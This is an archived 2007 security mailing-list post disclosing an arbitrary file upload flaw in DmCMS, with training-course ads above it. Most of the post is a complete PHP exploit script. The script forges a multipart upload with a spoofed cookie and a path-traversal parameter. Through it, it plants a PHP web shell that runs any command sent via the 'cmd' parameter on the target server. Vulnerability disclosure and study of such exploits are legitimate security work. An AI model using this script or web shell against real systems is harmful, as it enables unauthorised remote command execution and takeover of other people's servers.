Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Vuln-Dev
[Top] [All Lists]

DmCMS Shell Uploading

Subject: DmCMS Shell Uploading
Date: 23 Apr 2007 20:57:20 -0000
Hello
Title : DmCMS Shell Upload
Discovered by : HACKERS PAL
Copyrights : HACKERS PAL
Website : WwW.SoQoR.NeT
Email : security@soqor.net

File ..
includes/upload_file.php
After Giving Some conditions will allow you to upload any file you want
the exploit here is the proof ..

exploit :

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*           DmCMS Shell Uploading
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
echo('
/**********************************************/
/*          DmCMS Shell Uploading             */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<4) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host path topath
/* Example:                                   */
/*    php '.$argv[0].' localhost /dmcms/ ../media/
/**********************************************/
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
         Function get_page($url)
         {

                  if(function_exists("file_get_contents"))
                  {

                       $contents = file_get_contents($url);

                          }
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }


                                  }
                       return $contents;
         }

function connect($packet)
{
  global $host, $port, $html;
    $con=fsockopen(gethostbyname($host),$port);
    if (!$con)
    {
      echo '[-] Error - No response from '.$host.':'.$port; die;
    }
  fputs($con,$packet);
    $html='';
    while ((!feof($con)) or 
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($con,1);
    }
      GLOBAL $html;
  fclose($con);
}

$i=0;
$data="";

function add_data($name,$value,$type="no",$filename)
{
         GLOBAL $data,$i;
if($type=="file")
{
$data.="-----------------------------7d62702f250530
Content-Disposition: form-data; name=\"$filename\"; filename=\"$name\";
Content-Type: text/plain

$value
";
}
elseif($type=="init")
{

$data.="-----------------------------7d62702f250530--";

}
elseif($type=="clean")
{
$data="";
}
else
{
$data.="-----------------------------7d62702f250530
Content-Disposition: form-data; name=\"$name\";
Content-Type: text/plain

$value
";
}


}

$host=$argv[1];
$path=$argv[2];
$default_path=$argv[3];
$port=80;

$cmd=urlencode($cmd);

$p='http://'.$host.':'.$port.$path;

Echo "\n[+] Trying to Upload File";

$cookie="Master=HACKERS20%PAL";
$contents='<?php
$cmd=($_GET[cmd])?$_GET[cmd]:$_POST[cmd];
system($cmd);
?>';

add_data("empty.php","","file","File1");
add_data("soqor.php",$contents,"file","File2");
add_data("soqor.php",$contents,"file","File3");
add_data('','',"init");

$packet="POST ".$p."includes/upload_file.php?default_path=$default_path 
HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."ok.php?do=act\r\n";;
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; 
boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 
SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
connect($packet);

if (!eregi($default_path,$html))
{
    echo"\n/* [+] Successfully Exploited";
}
   echo ("\n/*         Visit us : WwW.SoQoR.NeT           
*/\n/**********************************************/");
?>
#WwW.SoQoR.NeT

<Prev in Thread] Current Thread [Next in Thread>
  • DmCMS Shell Uploading, security <=